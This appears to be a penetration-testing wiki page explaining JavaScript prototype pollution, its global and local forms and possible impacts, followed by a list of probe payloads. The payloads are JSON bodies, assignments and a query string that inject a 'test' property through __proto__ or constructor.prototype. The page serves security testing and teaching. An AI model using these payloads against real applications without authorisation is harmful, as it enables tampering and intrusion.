Prototype pollution

What is it?

Prototype Pollution is a vulnerability that occurs when an attacker manipulates the prototype of a JavaScript object. It exploits the dynamic nature of JavaScript, allowing an attacker to modify an object's structure and behavior.

This vulnerability is unique to JavaScript environments due to the language's flexible object model, where prototypes are shared between all objects of the same type. Consequently, a change to the prototype is reflected across all instances, potentially affecting the application's behavior globally.

There are mainly two types of Prototype Pollution:

  1. Global Prototype Pollution: This involves manipulating JavaScript's built-in object prototypes, such as Object.prototype, Array.prototype, etc. It can lead to various forms of attacks, such as adding, modifying, or deleting properties and methods, affecting the entire application.

  2. Local Prototype Pollution: This is more specific and involves manipulating the prototype of specific objects in the application. The impact is usually confined to the scope of those specific objects.

It's important to note that due to its nature, Prototype Pollution can lead to other kinds of attacks like:

  • Privilege escalation: By altering properties that control user privileges.

  • Remote Code Execution: By changing methods or properties related to function execution.

  • Denial of Service: By overloading methods or properties causing resource exhaustion.

  • Bypassing security measures: By altering validation or security checks.

For more details on Prototype Pollution see the relevant resources and child pages.

Payloads

# Simple `__proto__` Assignment (Key-Value)
{"__proto__": {"test": true}}

# Simple `constructor.prototype` Assignment (Key-Value)
{"constructor": {"prototype": {"test": true}}}

# Direct Property Assignment (Bracket Notation)
{"__proto__[test]": true}

# Direct Prototype Assignment (Dot Notation)
{"__proto__.test": true}

# Using `constructor.prototype` (Dot Notation)
{"constructor.prototype.test": true}

# Overwrite `__proto__` Object
{"__proto__": "test"}

# Empty Object Injection
{"__proto__": {}}

# Nullify Prototype
{"__proto__": null}

# Constructor Manipulation
{"constructor": {"test": true}}

# Prototype Chain Poisoning
{"constructor": {"prototype": {"__proto__": {"test": true}}}}

# Array Pollution
{"__proto__": []}

# Function Prototype Pollution
{"__proto__.constructor.prototype.test": true}

# Recursive Prototype Chain
{"__proto__.constructor.prototype.__proto__.test": true}

# Boolean Prototype
{"__proto__": {"constructor": {"prototype": {"test": true}}}}

# Constructor Pollution via Function
{"constructor": {"prototype": {"constructor": {"prototype": {"test": true}}}}}

# Combination Payloads
{"__proto__.test": true, "constructor.prototype.test": true}

# `__proto__` Bracket Notation Assignment
Object.__proto__["test"] = true

# `__proto__` Dot Notation Assignment
Object.__proto__.test = true

# `constructor.prototype` Dot Notation Assignment
Object.constructor.prototype.test = true

# `constructor.prototype` Bracket Notation Assignment
Object.constructor["prototype"]["test"] = true

# Overwrite `__proto__` Object using JSON
{"__proto__": {"test": true}}

# `__proto__` with Specific Property
{"__proto__.name":"test"}

# Array Style Bracket Notation with `__proto__`
x[__proto__][test] = true

# Dot Notation with `__proto__`
x.__proto__.test = true

# Bracket Notation with `__proto__` (short)
__proto__[test] = true

# Dot Notation with `__proto__` (short)
__proto__.test = true

# Query Parameter Pollution
?__proto__[test]=true

Last updated